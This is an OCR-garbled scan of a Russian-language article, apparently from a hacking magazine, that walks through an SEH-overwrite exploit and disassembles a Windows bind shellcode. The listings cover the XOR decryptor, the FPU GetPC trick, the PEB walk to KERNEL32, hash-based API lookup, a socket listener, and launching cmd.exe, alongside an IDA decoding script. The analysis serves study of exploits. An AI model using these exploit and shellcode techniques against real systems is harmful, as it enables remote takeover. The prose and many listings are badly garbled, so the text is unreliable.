Jmcrunr 7. dparmMenr RTL-pymxumm _ except handler3,
COXpaHsIMiA ykasaTens Ha Tekyumit SEH-dpeiM nmepen BEHBOBOM
obpaBoTunka MCKINUEHUS

; ykasaTenr Ha Texyumit SEH-dpeim
.text:004012D1 mov
.text:004012D4 mov
.text:004012D7

; CODE XREF: unknwn_libname_1+90¢j
.text:004012D7 unknwn_libname 2:

; 0BpaBoTuMKOB Gonblle HeT?
.text:004012D cmp

; ecnu na, BaBepliaeM NporpaMMy
.text:004012DA jz
.text:004012DC lea
.text:004012DF cmp

; Microsoft VisualC 2-7/net
.text:004012E4 jz

; COXpaHsieM ykasaTenb Ha (peimM
.text:004012E6 push

; COXpaHsieM ykasaTenb Ha Kafp
.text:004012E7 push ebp
.text:004012E8 lea ebp, [ebx+10h]
; BHSHBaeM O6paboTuMK MCKIINYEHUS

esi, [ebx+0Ch]
edi, [ebx+8]

esi, OFFFFFFFFh

short unknwn_libname 5
ecx, [esitesi*2]

dword ptr [editecx*4+4], 0
short unknwn_libname 3

esi

.text:004012EB call dword ptr [editecx*4+4]
; BOCCTaHaBIMBAaeM Kafp

.text:004012EF Pop ebp

; BOCCTaHaBIMBaeM bpeiM

.text:004012F0 PopP esi

Bot oHo! MNepep BbI30BOM 06paboTymKa CKN0HEHNS, (YH-
KLMS BPEMEHHO COXpaHsieT yKasatesb Ha TekyLmnin SEH-cpeim
B cTeke (komaHaa PUSH ESI), koTopbiii HA MOMEHT Bbl30Ba 06-
paboTkn 6yeT pacrnonoxeH no cMewenuto +8h. Mpuyem mc-
npaBWTb 3TO CPeLCTBaMM OMEPALMOHHON CUCTEMBI HUKaK He-
BO3MOXHO! Heo6xoammo nepenucatb RTL kaxaoro ns komnu-
NATOPOB M MEPEKOMMNMIMPOBATH BCE NPOrpaMmbi!

[na peanusauunn atakm foCTaToyHO 3ameHuUTb handler
yKasaTenem Ha nocnefoBaTtenibHOCTb pop reg/pop reg/ret unu
add esp, 8/ret (koTopas OCTATOHHO YaCTO BCTPeYaeTCs B 3MNu-
norax cyHKLMIA), @ NOBEPX prev Kak 1 paHblLe 3anucaTtb jump
Ha shell-kog. MNepBas KomaHga pop CTankMBaeT C BEPLUMHBI
CTeKa yXXe HeHYXXHbI agpec Bo3Bpara, OCTaBeHHbIN call, BTo-
pasi — BblbpacbiBaeT coxpaHeHHbin pernctp EBP, a ret nepega-
€T ynpaBneHue Ha Tekywmin SEH-cperim.

Tenepb CTpyKTypa maccupa offsets ctaHoBuTCS 6onee unu
MeHee noHaTHa. Mbl BUaAMM Tpu nopnoxHsix SEH-cdperima —
no OLHOMY L5 KaXX4OW OnepaLMOHHON CUCTEMBI, PACTONIOXEH-

CUCTEMELIaAMUHUCTPATOD



HbIX B NaMATW C TaKM pacyeToMm, YToObl OHM COBMaganu ¢ Te-
Kywmmmn SEH-cperimamm atakyemon nporpaMmel. 3To camas
KanpuaHas 4acTb 3KCMIoMTa, NOCKOSbKY AWCoKauus dpei-
MOB 3aBWCUT Kak OT BEPCUM aTakyeMon nporpammbl (gobas-
NeHne UK yaaneHue nokanbHbIX NepeEMEHHbIX BHYTPM YH3BHY-
MO (PYHKLUW U3MEHSET PaccTosHne Mexay periMoM v ne-
penosiHsaLWmmMes 6ydepom), Tak U 0T HavanbHOro MoJIoXe-
HUSA CTEKA Ha MOMEHT 3anycka nporpaMmmbl (3a 370 oTBeYa-
€T onepaumoHHas cuctema). B nononHeHne K 3ToMy Heo6xo-
LMMO cneauTh 3a TeM, 4To6bl handler [eNcTBUTENBHO YKa3bl-
BaJsi Ha pop reg/pop reg/ret (add esp,8/ret), a He Ha YTO-TO ApY-
roe. B npotmeHoM cniyyae exploit pa6oTtate He 6yaeT, HO ecnu
BCE 3Ha4YeHus Nofo6paHHbI NPaBUIbHO, yNpaBieHne nonyymT
bind_shellcode, koTopbIit Mbl cenyac nonpobyem gusaccemo-
nupoBartb, HO npexae Heobxopmmo nepesecTn ASCII-cTpoky
B ABOVYHbBIN BMA, 4TOOLI ero «npornotun» hiew unun IDA PRO.

BmecTo T0ro, 4T06bI MMCaTh KOHBEPTOP C HYNSA, BOCMOSIb3Y-
eMCsi BO3MOXHOCTAMU KoMnunsTopa a3bika Cu, Hanucas He-
CMOXHYI0 MpOrpammy, COCTOsALLY hakTUHeckn BCero u3 og-
HOW CTPOKM (OCTasIbHble — 06bABNEHNS):

JmcTurr 8. IporpamMa, coxpansiomast ASCII-maccumB shellcode(]
B OJHOVMMEHHBA NBOWYHENI Gaiil, NPUTOMHBEN IJIsT AM3aCCEeMOIMpPOBaHMS

#include <stdio.h>

// copa nomemaeM MaccuB st mpeoBpaBoBaHMsS

char shellcode[]="\xXX\xXX\xXX\xXX";

main() {FILE *£f;if (f=fopen("shellcode","wb")) J
fwrite (shellcode, sizeof (shellcode),l,f);}

Brigensem maccus bind_shellcode n konmpyem B HaLly npo-
rpammy, no xogy Aena nepemmeHoBbiBas ero B shellcode. Kom-
MUIIMPYEM C HACTPOVKamu No ymMonyaHuio, 3anyckaem. Ha guc-
Ke o6pasyetca avin shellcode, rotoBeiii k 3arpyske B IDA Pro
nnu hiew (Tonbko He 3abyabTe NEepPeKsYMTL au3accembnep
B 32-pa3psgHbiin pexum!).

Havano gn3accembnepHoro NUCTUHra BbIrMAANT Tak:

Jmcturr 9. B Hauanme shell-kxofa pacnonoxeH pacumppoBumk,
pacumbpoBHBaKIyf BeCh OCTANLHOM KOR

; ECX := 0

00000000: 29C9 sub ecx,ecx

; EBX := 50h

00000002: 83E9BO sub ecx,-050

; sarpysure +0.0 Ha crex FPU

00000005: D9EE fldz

; coxpaHuTh cpeny FPU B mamsTn

00000007: D97424F4 fstenv [esp] [-0C]
; EBX := &fldz

0000000B: 5B pop ebx

0000000C: 81731319F50437 xor d, [ebx] [13],03704F519
; “pacumppoBsBaeM NBOMHEIMM CIIOBaMu
0000000C

; EBX += 4:cnegmynmee [OBOMHOE CJIOBO
00000013: 83EBFC sub
; MOTaeM LK

00000016: E2F4

; sammppoBaHHasT KOMaHZa
00000018: E59F in
; sammppoBaHHasT KOMaHZa
0000001A: EF

ebx,-004

loop 00000000C (1)

eax,09F

out dx, eax

Mepsble 8 kKOMaHA 60s1ee NN MeHee NOHATHI, @ BOT Aarb-
LLIe Ha4YMHAETCA ABHbIN Mycop, Tuna HeTpykumia IN n OUT, ko-
TOpble NPU NOMbITKE BbIMOMHEHUS HA NPUKTAAHOM PeXMMe BO3-
6y parT ucknoyverune. Tyt 41o-To He Tak! JInbo Toyka Bxoaa
B shell-kof Ha4MHaeTcst He ¢ NepBoro 6anTa (Ho 3To NPOTUBO-
peunT pesynbTaTam Hallux uccnefoBanuii), nbo shell-kog 3a-
wmppoBaH. MpUCMOTPEBLLMCH K NEPBLIM BOCbMW KOMaHAam
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Pucysox 3. PacumppoBka shell-xoma B hiew

NOBHMMATENbHEE, Mbl C YOOBNETBOPEHUEM OOHAPYXMBAEM
TPUBMANBLHBIN PacLLMGPOBLLMK B inle MHCTpykuun XOR, cre-
[oBaTenbHO, ToYKa Bxofda B shell-kog onpegeneHa Hamm npa-
BUJIbHO M BCE, YTO HYXHO, — 3TO pacLumpoBaTh €ro, a Afs aTo-
ro Mbl JOSIKHbI ONpefenvTb 3HadeHune pernctpos EBX n ECX,
MCNOosb3yeMbIX PacLUNGPOBLLMKOM.

C pervctpom ECX pa3obparbCcsi HECNOXHO — OH MHULMA-
NN3NPYETCA FBHO MYTEM HEXMTPbLIX MaTemaTu4eckmx npeod-
pa3oBaHuii:

sub ecx,ecx—ecx:=0; sub ebx,-50h—add ecx,50h—ecx := 50h

TO ecTb Ha Bxofe B pacwmdposlynk ECX 6yaet umets 3Ha-
yeHne 50h — UMEeHHO CTONbKO ABOWHbBIX C/IOB HAM MPEACTOUT
pacLumndgposatb.

C peructpom EBX BCe 06CTOMT HAMHOIO CNOXHEE, U, YTOObI
BbIYMCUTbL €ro 3Ha4YeHWe, He06X0AUMO YriyOoUTLCS BO BHYT-
PEHHMWE CTPYKTYpPbI AaHHbIX conpoLleccopa. Komanaa FLDZ no-
MeLLaeT Ha CTek conpoueccopa KoHcTaHTy +0.0, a Komanaa
FSTENV coxpaHsieT TekyLLyto cpefly conpoueccopa no agpe-
cy [esp-0Ch]. OTkpsiB «Intel Architecture Software Developer's
Manual Volume 2: Instruction Set Reference», cpeau npoyei no-
Ne3HoN MHGopmaLmmn Mbl Hangem u cam opmart cpefbl FPU:

Jimcrusr 10. NceBmokon kxoMaHms fstenv, coxpawsmmeit cpeny FPU

FPUControlWord — SRC (FPUControlWord) ;
FPUStatusWord — SRC (FPUStatusWord) ;
FPUTagWord — SRC (FPUTagWord) ;

FPUDataPointer — SRC (FPUDataPointer) ;

FPUInstructionPointer — SRC (FPUInstructionPointer) ;
FPULastInstructionOpcode — SRC(FPULastInstructionOpcode) ;

Hanoxwus aTy CTPyKTYpy Ha CTEK, Mbl MOMYYMUM BOT YTO:

Jmctuur 11. Kapra pasMelieHus Cpefsl B CTEKOBON NaMsTi

->- fstenv -> - 0Ch FPUControlWord
- 08h FPUStatusWord
- 04h FPUTagWord

->--- esp ---> 00h FPUDataPointer

FPUInstructionPointer
FPULastInstructionOpcode

<- pop ebx -<- + 04h
+ 08

3 aToin cxembl BUAHO, 4TO KoMaHaa POP EBX BbiTankuea-
et B peructp EBX agpec nocnegHeint FPU-MHCTpyKLum, KOTO-
pon n aensetca FLDZ, pacnonoxeHHas no cmeLlenmio 5h (yc-
noBHO). MNpy UCNONHEHNM Ha «KMBOM» NPOLIECCOPE CMELLIeHE
6yneT HaBepHsKa ApyruM, 1, 4Tobbl He NOrnbHYTh, shell-kog
LOMKeH onpefenuTb, rae MMEHHO OH pacnonaraeTcs B nams-
. PagpaboTuuk shell-koga npumeHun 4OBOMILHO HEOObIYHBIN
NOLXOA, B TO BPEMSA Kak nogasnstoLLee 60MbLLUNMHCTBO OrpaHu-
ynsaetcs TpmsmnanbHeiM CALL/POP REG. Cnoxus nony4eH-
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HOe cMeLLeHne 5h ¢ KoHcTaHToM 13h, urypupytoLLei B MHC-
Tpykummn XOR, Mbl nostyuum 18h — agpec nepeoro 3awmdpo-
BaHHOro 6anta.

3Has 3Ha4Y€eHWs PerncTpoB, HETPYAHO pacumdposarts shell-
kog. B IDA Pro ons atoro 4OCTaTto4HO Hanucatb Crnegyrowun
cKpUnT:

JucTuur 12. Ckpunt ans IDA Pro, pacumppommBamumit shell-xon

// obmBsiBNEHME nepeMeHHHX
// umxn pacumppoBkmu

auto a, x;
for(a = 0; a < 0x50; at++)
{

// unTaeM ouepemHOe ABONMHOE CJIOBO
x=Dword (MK_FP("seg000",a*4+0x18)) ;

// pacumpporsBaeM

x = x * 0x3704F519;

//BamucsBaeM pacumppoBaHHOe BHaueHMe
PatchDword (MK_FP("seg000",a*4+0x18) ,x) ;

Haxunmaem <Shift+F2>, B nosiBuBLLEMCSA AMASNIOrOBOM OKHE
BBOAVMM BbILLENPUBELEHHbIN KO, 3anyckas ero Ha BbIMomHe-
Hue no <Ctrl+Enter>. B hiew paclumdpoBKa ocyLLecTBnseTcs
ewe npowye. OTkpbiBaeM aiin shellcode, ogHOKpaTHLIM Haxa-
Tnem knaeuwm <ENTER> nepeBogum pefakTop B hex-pexum,
noaBOAMM Kypcop k cmeLleHmnto 18h —Tyaa, rae KoH4aeTcs pac-
LUNCPOBLLMK U HaYMHaEeTCa 3alumndpoBaHHbIA KoL (CM. nuc-
TUHT 9), NEPEXoauM B PEXUM pefakTUpoBaHua no <F3>, Ha-
Xumaem <F8> (Xor) n BBOAMM KOHCTaHTY LUMAPOBaHMS, 3a-
MUCaHHYI0 C y4eTOM nopsgka 6anToB Ha x86 3a40M Hanepen:
19h F5h 04h 37h nxmem <F8> o Tex nop, noka Kypcop He foK-
LET 0o KoHua channa. CoxpaHsiem uaMeHeHus knaeuwemn <F9>
¥ BbIXOOMM (CM. puc. 3).

Mocne pacwudposkm shell-kog MOXHO gu3accemobnampo-
BaTb B 0ObIYHOM pexumMe. HaunmHaem aHanms u... TyT Xe BNs-
MbIBAEMCS B LPEBHUM, HO BCE elle paboTarLLmMin aHTMamM3ac-
CemMOnepPHbLIN TPIOK:

JucTuHr 13. JpeBHUI aHTUAMSACCEMOJIEPHEN TPOK —
NPEKOK B CEPEAMHY KOMaHTE!

; CODE XREF: seg000:0000001CIp
5eg000:019 loc 19:
; CKpHTasi KOMaHna B OnepaHpe

seg000:019 6A EB push FFFFFFEBh
; TNPORONKEHME CKPHTOM KOMaHMH

seg000:01B 4D dec ebp

; BHSOB B cepepuHy push

seg000:01C E8 F9 FF FF FF call loc_19+1
; COXpaHsieM BCEe PEeIMCTPSH

seg000:021 60 pusha

Komanpa «CALL LOC_19+1» npbiraet Kyga-to B cepe-
OUHY MHCTpyKuumM PUSH, 3acbinatolen B CTeK KOHCTaHTYy
FFFFFFEBh, B KOTOpOW ONbITHBIE KOJOKOMATENN YXXE HABEPHS-
Ka yBUAENN UHCTPYKLMIO 6€3YCNOBHOMO Nepexona, 3ajaHHyo
onkogom EBh, a Bcsi komaHga Bbirnaaut Tak: EBh 4Dh, roe 4Dh
«0TpbIBaOTCS» OT UHCTPYKLMM DEC EBP. BaxHo He 3abbiBath,
yto PUSH ¢ onkopgom 6Ah — 310 3HakoBas komaHaa, TO ecTb
HuKakmx FFh B camom onkoge HeT, N03TOMy BMECTO nepexona
no appecy EBh FFh (kak aTo cnegyet u3 gusacceménepHoro
TekcTa) Mbl nonyyaem nepexog no agpecy EBh 4Dh (kak ato
cnefyet U3 MaLUMHHOTO KOZa), 4TO COBCEM He OfHO U TO xe!
Cam nepexof, KCTaTi roBopsi, OTHOCUTENbHBIA U BbIYUCISET-
€A 0T KoHLa komangbl JMP, onvMHa KoTopov B 4@HHOM Cryvae
paBHa gBym. CknapgsiBaem 4Dh (ueneBoii agpec nepexopa)
¢ 1Ah (appec camoi komaHgbl nepexofa — loc_19 + 1 = 1Ah)
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1 nonyyaem 69h. imeHHo nNo aToMy cmeLLeHunto 1 ByaeTt nepe-
faHo ynpasneHue! A komaHgbl, uayLime 3a uHetpykumein CALL,
pacnonoXeHbl YACTO ANA MACKMPOBKM, YTOOLI MPOTUBHMK NO-
[OrblLE FONOBY Nonomarn.

XopoLuo, oTnpasnseMcs B panoH 69h n cMoTpuM, 41O XO-
pOLLEro y Hac Tam:

Jimcturr 14. Kopm, Bmumchsionpit 6as0Bmii agpec KERNEL32.DLL
uepes PEB

; ebx := 0
seg000:00000069 31 DB xXor ebx, ebx
; PEB

seg000:0000006B 64 8B 43 30

; PEB_LDR DATA

seg000:0000006F 8B 40 0Cmov

; InInitializationOrderModuleList
seg000:00000072 8B 70 1Cmov

; EAX := *ESI

seg000:00000075 AD

; BASE of KERNEL32.DLL
seg000:00000076 8B 40 08 mov

mov eax, fs:[ebx+30h]

eax, [eax+0Ch]
esi, [eax+1Ch]
lodsd

eax, [eax+8]

C nepBoii komaHgow, 06HynstoLen EBX 4yepes XOR, Bce no-
HATHO. HO BOT BTOpas... YTO-TO CHUTLIBAET W3 A4eiikK, nexa-
wen no agpecy FS:[EBX+30]. CenekTop FS yka3biBaeT Ha 06-
nacTb NnamsTy, roe onepauyoHHas CUCTEMA XPaHUT CnyxXeo-
Hble (M NPaKTUYECKN HUKaK HELOKYMEHTUPOBAHHbIE) JaHHble
noToka. K c4acTbto, B Hallem pacrnopsxeHun ectb VIHTepHeT.
Habupaewm B Google «fs:[30h]» (c kaBblukamu!) n nony4aem Ky-
4y CCbINOK OT peknambl kapTpuoxen TK-30H go BrnonHe Bme-
HSEMbIX MaTepuasnoB, U3 KOTOPbIX Mbl Y3HAEM, YTO B s4elike
FS:[30h] xpaHuTCcs ykasatenb Ha Process Enviroment Block —
610K OKpPYXeHMs npoLiecca unm cokpatleHHo PEB.

Onucanune camoro PEB (kak M MHOMMX BpYrnX BHYTPEHHNX
CTPYKTYpP ONepaLyoHHON CUCTEMbI) MOXHO NOYEPMHYTb U3 3a-
MeuatesnibHoi kHuru «The Undocumented Functions Microsoft
Windows NT/2000», anekTpoHHas Bepcusa KOTOPO AOCTYNHA
no agpecy: http://undocumented.ntinternals.net.

3 Hee Mbl y3HaeM, 4To no cmelleHnto 0Ch ot Havyana PEB
nexuT ykasatenb Ha cTpykTypy PEB_LDR_DATA, no cmeLue-
Huto 1Ch OT Havyana KOTOpPOW NeXMT Cnucok. He ykasartenb
Ha CMNCOK, a caM CMMCOK, COCTOSLLMIA U3 ABYX OBONHbIX CMOB!
ykasarens Ha cnegytowwmii LIST_ENTRY 1 ykazartens Ha ak3em-
nnap cTpykTypbl LDR_MODULE, nepe4ncneHHbIx B nopsiake
MHMLManm3auum Mogynew, a nepsbiM, Kak M3BECTHO, MHULMA-
nusupyetca KERNEL32.DLL.

JucTunr 15. HepoxyMenTVpoBaHHas CcTpykrypa PEB LDR DATA

/* 00 */ ULONG Length;
/* 04 */ BOOLEAN Initialized;
/* 08 */ PVOID SsHandle;

/* 0C */ LIST ENTRY
/* 14 */ LIST ENTRY
/* 1C */ LIST ENTRY

InLoadOrderModuleList;
InMemoryOrderModuleList;
InInitializationOrderModulelist;

Onucanune camon cTpykTypsl LDR_MODULE Bbirnsgut
Tak (kctatu rosops, B «The Undocumented Functions Microsoft
Windows NT/2000» ponylieHa rpy6as owwmbka — nponyLyeH
union):

JucTurr 16. HepoxyMerTVpoBaHHast CcTpykTypa LDR MODULE

typedef struct LDR MODULE {
union order_ type

{
/* 00 */ LIST ENTRY
/* 00 */ LIST ENTRY

InLoadOrderModuleList;
InMemoryOrderModuleList;
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/* 00 */ LIST ENTRY InInitializationOrderModulelist;
}

/* 08 */ PVOID BaseAddress;

/* 0C */ PVOID EntryPoint;

/* 10 */ ULONG SizeOfImage;

/* 14 */ UNICODE STRING FullDllName;

/* 18 */ UNICODE STRING BaseDllName;

/* 1C */ ULONG Flags;

/* 20 */ SHORT LoadCount;

/* 22 */ SHORT TlsIndex;

/* 24 */ LIST ENTRY HashTableEntry;
/* 28 */ ULONG TimeDateStamp;

} LDR MODULE, *PLDR MODULE;

Camas TpygHas Yactb no3agu. Tenepb Mbl TOYHO 3HAEM,
y1o EAX cogepxut 6asosbii agpec KERNEL32.DLL. Mpogon-
Xaem aHanu3upoBaThb fasiblue.

JucTurr 17. BusoB API-QyHKUMM [O XSW-UMEHaM

; esi := &MyGetProcAddress

seg000:00000079 5E pop esi
; #LoadLibraryA

seg000:0000007A 68 8E 4E OE EC push OECOE4E8Eh

; base of KERNEL32.DLL

seg000:0000007F 50 push eax
; MyGetProcAddress

seg000:00000080 FF D6 call esi

Komanpa POP ESI BeiTankusaet B peructp ESI gBoiiHoe
CNOBO, NiexalLiee Ha BepLUKMHe cTeka. A 4To y Hac Tam? [oMHuTe
komanay CALL, nepepatoLLyto ynpasneHne XMTpon MHCTPYKLMM
JMP? OHa nonoxwna Ha CTek agpec Bo3Bpara, TO ecTb afpec
CnepyoLLen 3a Hel KOMaHfbl, paBHbIv B AaHHOM ciiyyae 021h,
KOTOPGLIA TYT Xe ¥ BbldbiBaeTcA MHCTPyKumen CALL ESI, npu-
HUMaloLen gea aprymeHTa —6asosbii agpec KERNEL32.DLL,
nepepaeaembiin B pernctpe EAX 1 HEMOHATHYIO KOHCTaHTY
OECOE4ESEh.

JncTurr 18. Mpouegsypa MyGetProcAddress, BosBpamawimast agpec
API-QyHKUMM IO X3W-CyMME €r'0 MMEHM

; COXpaHsieM BC€ PeruCTpsH
seg000:00000021 60

; base of KERNEL32.DLL
seg000:00000022 8B 6C 24 24

; PE header

seg000:00000026 8B 45 3C

; export table RVA
seg000:00000029 8B 7C 05 78

; afpec TabmMup SKCNopTa
seg000:0000002D 01 EF

; numberOfNamePointers
seg000:0000002F 8B 4F 18

; namePointerRVA
seg000:00000032 8B 5F 20

; namePointer VA
seg000:00000035 01 EB
seg000:00000037

; CODE XREF: seg000:0000005047
5eg000:00000037 loc 37:

; obpabaTiBaeM cClepyKiiee MM
seg000:00000037 49

; RVA-agpec dyHxumm
seg000:00000038 8B 34 8B

; BUPTYyanmbHM afpec byHKumm
seg000:0000003B 01 EE

; EAX := 0

seg000:0000003D 31 CO

; EDX := 0

seg000:0000003F 99
seg000:00000040

; CODE XREF: seg000:0000004a!j
seg000:00000040 loc 40:

; 4MTaeM OuepefHON GaiT MMEHM
seg000:00000040 AC

; BTO KOHel] MMeHu?
seg000:00000041 84 CO

pusha

mov ebp, [esp+24h]

mov eax, [ebp+3Ch]

[ebpt+eax+78h]
ebp

mov edi,

add edi,

mov ecx, [edi+18h]

mov ebx, [edi+20h]

add ebx, ebp

dec ecx

mov esi, [ebxt+ecx*4]

add esi, ebp

xor eax, eax

cdgq

lodsb

test al, al
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; ecnu KOHel, BEIXOAUM M3 LWKIa
seg000:00000043 74 07 jz
; cnegmyoupe 2 CTPOYUKM XSUMPYOT MUMS
seg000:00000045 C1 CA 0D ror
seg000:00000048 01 C2 add
; MOTaeM LMK

seg000:0000004A EB F4
seg000:0000004C

; CODE XREF: seg000:00000043%;
5eg000:0000004C loc_4C:

; 9TO «Ham» x3w?
seg000:0000004C 3B 54 24 28

; TpORoNkaeM MOMUCK, eCly He Hau
seg000:00000050 75 E5

; ordinalTableRVA
seg000:00000052 8B 5F 24

; ordinalTable VA
seg000:00000055 01 EB

; index

seg000:00000057 66 8B 0OC 4B

; exportAddressTableRVA
seg000:0000005B 8B 5F 1C

; exportAddressTable VA
seg000:0000005E 01 EB

; BOT OHa Hawa ¢yrkuus!!!
seg000:00000060 03 2C 8B

; coxpaHsieM B EAX

; BOCCTaHaBNMBAaeM PETVCTPSH
seg000:00000063 89 6C 24 1C
seg000:00000067 61

; BOBBpamaeMcst us QyHKUMM
seg000:00000068 C3

short loc 4C

edx, 0Dh
edx, eax

jmp short loc 40

edx, [esp+28h]
jnz short loc_37
mov ebx, [edit+24h]
add ebx, ebp
mov cx, [ebxtecx*2]
mov ebx, [edi+lCh]
add ebx, ebp

add ebp, [ebxtecx*4]

mov
popa

[esp+1Ch], ebp

retn

3Has 6a3oBbii agpec 3arpy3ku KERNEL32.DLL (oH nepe-
Jaetcsa PyHKLMM Yepes CTEK M IEXUT No cMmeLLeHunio 24h 6ai-
Ta OT BEePLUMHbI — OCTaNbHOE NPOCTPAHCTBO 3aHUMAtOT peruc-
TPbl, COXpaHeHHble komanpon PUSHA), nporpamma nonyya-
eT ykasaTesib Ha PE-3aronoBokK, OTKyAa U3BfIEKaeT ykasaTteslb
Ha TabnuLy 9KCnopTa, CYMTbIBas 06LLEE KONMYECTBO 3KCNOp-
Tpyembix umeH (numberOfNamePointers) n RVA-ykasartenb
Ha MaccuB C MMeHaMu, KOTOPbIN TYT Xe npeobpasyeTtcs B -
(heKTVBHbIN BUPTYanbHbIN a4pec NyTeM COXEHUS ¢ 6a30BbIM
appecom 3arpy3kv KERNEL32.DLL.

A BOT panbLue... fjanblle Ha4YMHAETCs caMoe MHTepec-
Hoe! [Ina KaxZoro u3 3KCnopTupyembiX MMeH OyHKUMS Bbl-
YMCNAET X3LU, CPaBHMBAsA €ro ¢ TeM «3arafo4HbIM» HUCIIOM.
Ecnv oHun coBnagatoT, nckomas API-cbyHKUMA cunTaeTcs Han-
[EHHON, N BO3BpaLLaeTCs ee BUPTYasbHbI agpec. Takum 06-
pas3oM, AaHHbIN KOA MpeacTaBnseT coboi aHanor yHKUMm
GetProcAddress, TONbKO € TOM pasHuLei, YTO OH NPUHUMAET
He ASCII-ums yHKUMK, a ero 32-6UTHbIN X3LW. YCNOBUMCS Ha-
3bIBaTh 3Ty npouenypy MyGetProcAddress.

MO>XHO 1 BOCCTaHOBUTL MM$ oyHKLMK No ee xawy? C ma-
TEeMaTU4YECKON TOYKM 3PEHUS — HaBPSA M, HO YTO MeLlaet
Ham 3anycTuTb shell-kog nog 0Tnag4MKoM (CM. OQHOUMEHHYHO
BPE3KY) W «MOACMOTPETb» BO3BPALLEHHbIA BUPTYanbHbIA af-
pec, No KOTOPOMY UMs onpegenseTca 6e3 npobnem!

CkasaHo — caenaHo! HemHoro npotpaccmpoBas nporpam-
My A0 CTpoku 82h, Mbl 06HapyxnBaeM B peructpe EAX uuc-
no 79450221h (3aBUCUT OT BEpCUM CUCTEMBI, Ha BalLEN Ma-
LUVMHE HaBepHsKa 6yaeT MHbIM). HopmanbHble 0Tnag4uKm (Tu-
na OllyDbg) TyT xe nokaxyT ums cdyHkummn LoadLibraryA.
Kak BapuaHT MOXHO BoCnofib3oBatbes ytunuton DUMPBIN
n3 Platform SDK, 3anycTvB ee co crnegylowmuMm Knoyamu:
«dumpbin KERNEL32.DLL /EXPORTS > kernel32», To51bKO Nom-
HWTe, 4TO OHa MoKasblBaeT oTHocuTenbHble RVA-agpeca, no-
3TOMY HEOHX0AMMO TMH0 [06aBUTb K HUM 6a30BbIV agpec 3a-
rpy3kn KERNEL32.DLL, nn60 Bbl4eCTb €ro u3 agpeca UCcKo-
MOW OYHKLIMW.
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JncTusr 19 sarpyska 6Gubmmorexu ws2_32 ans paborTs C cokeTamu
¥ ee MHULMANUBALUS

; "ws2_32"

seg000:00000082 66 53 push bx
seg000:00000084 66 68 33 32 push small 3233h
seg000:00000088 68 77 73 32 5F push 5F327377h
; &'"ws2_32"

seg000:0000008D 54 push esp

; LoadLibraryA

seg000:0000008E FF DO call eax

; WSAStartup

seg000:00000090 68 CB ED FC 3B push 3BFCEDCBh
seg000:00000095 50 push eax

; MyGetProcAddress

seg000:00000096 FF D6 call esi

Mmes B cBoeM pacnopsixxenum pyHkumto LoadLibraryA, shell-
Kog 3arpyxaet 6monmoTeky ws_2_32 s paboTbl C COKETAMM,
“MS KOTOPOW NepefaeTcs HENOCPeACTBEHHO Yepes3 CTEK U 3a-
BepLUaeTCa ABYMS HyneBbiMK HaiTamu (XoTs 6b1510 6bl AOCTa-
TO4YHO M 0fIHOrO), hopMupyemoro komangov PUSH BH (kak mbl
MOMHUM, HECKONbKMMK CTpokamu Bbiwe EBX 6bin o6patleH
B HOJIb — CM. JIUCTUHT 9).

PUSH BH aT0 gByx6aiToBas KomaHga, B TO Bpems Kak
PUSH EBX —ogHo6aiToBas. Ho He 6yaem npuaunpatbes no me-
noyam.

Mpouepypa MyGetProcAddress cHoBa npMHUMaeT «maru-
yeckoe» 4ncno 3BFCEDCBh, kotopoe nocne pacLumgpoBKm
nog oTnag4nkom okasbisaetcs API-coyHkumen WSAStartup, Bbi-
30B KOTOPOW COBEPLLEHHO HE ONpaBAaH, MOCKOSbKY ANS UHM-
umanu3aunm 6ubanMoTEKM COKETOB ee [OCTaTOYHO Bbi3BaTb
O[MH-EANHCTBEHHbIN pa3, 4To yXe AaBHO CAenano ya3su-
MO€e NPUNOXEHNE, MHa4ve Kak Obl Mbl YXUTPUIUCH Ero yaaneH-
HO aTakoBaTb?

MocnepoBaTenbHOCTL NOCNEQYOLWMX BbI3OBOB BMOMHE
cTaHpapTHa:

WSASocketA(2, 1, 0,0,0,0) — bind(s, {sockaddr in.2;
sin port.0x621Eh}, 0x10) — listen(s,2) — accept (s, *addr,
*addrlen) — closesocket(s)

HoxpasLumcb NoaKIYEHNa Ha 3afaHHbIn nopT, shell-kog

Kak 3anyctutb shell-kog nog otnagunkom

CraTtnyeckne METOAbI MCCNELOBAHMSA, K KOTOPbIM OTHOCATCA AU3ac-
cemb6nepbl, He Bceraa yao6Hbl, M BO MHOFMX Crly4asx oTnagka HaMmHo-
ro 6onee npegnoytuTensHa. OgHaKo OTNAA4YMKOB, CMIOCOBHbIX OTNa-
xuBartb shell-koZ, He CYLLECTBYET, 1 MPUXOAUTCS XUTPUTB.

Muwem npocTtyto nporpammy Hamnogo6ue «hello, word!», komnu-
nupyem. OTKpbIBAEM NOMYYeHHbIV UCMONHAEMbIN hain B hiew, npu-
BbIYHBIM HaxaTtnem knasuwwmn <ENTER> nepekntodaemcs B hex-pe-
Xum, gasum <F8> (header) n nepexogum B Touky Bxoga no <F5>. Ha-
XUMaeM <*> 11 BbIfENIiEM KypCOPOM HEKOTOPOE KONMYeCcTBO 6anT, Ta-
Koe — 4T0ObI ObIS10 HE MeHbLUEe pa3mepa shell-koga. Haxumaem <*>
eLle pa3 ans 3aBepLUEHUs BbIOENEHNS U NepeMeLLaeM Kypcop B Ha-
Yaso BblgeneHHoro 6510ka (Mo yMonyaHuio oH 6yaeT packpatleH 60p-
poBbiM). OaBum <Ctrl-F2>, B nosiBMBLLEMCSA AMANOrOBOM OKHE BBO-
oMM uma hanna (B gaHHoM cnyyae shellcode) n nocne 3asepLueHus
npoLecca 3arpy3ku 6noka ¢ gucka BbIXoguMm 13 hiew. <F9> MoxHoO
HE HaXWMaTb, T. K. UBMEHEHWsI COXPaHAOTCA aBToMaTu4ecku. Pyra-
TenbcTBO «End of input file» o3Hayaet, 4To paamep BblgeneHus npe-
BbILLaeT pa3mep dainna. B gaHHOM cnyyae 310 HOpMarbHas cutya-
ums. Xyxe, Korga Hao6opoT (ecnn YacTb hanna okaxercs Hesarpy-
XeHHoW, shell-kog, ecTecTBEHHO, paboTath He ByLeT).

cuutbiBaet ASCII-cTpoky, nepefaBas ee KOMaHOHOMY WMHTEp-
npetaTopy cmd.exe Mo cregyLLen cxeme:

CreateProcessA(0, "cmd...", 0,0, 1,0,0,0, lpStartupInfo,
lpProcessInformation) — WaitForSingleObject (hProc, -1) —
ExitThread (0)

3N0oyMbILLNIEHHUK MOXET 3anyckaTb nobble MporpaMmsl
W BbIMOSHATb NaKETHblE KOMaHAbl, YTO [AET eMy MpaKkTu4ec-
KV HeOorpaHW4eHHyI0 BNacTb HafJ CUCTEMOW, pa3ymMeeTcs, ec-
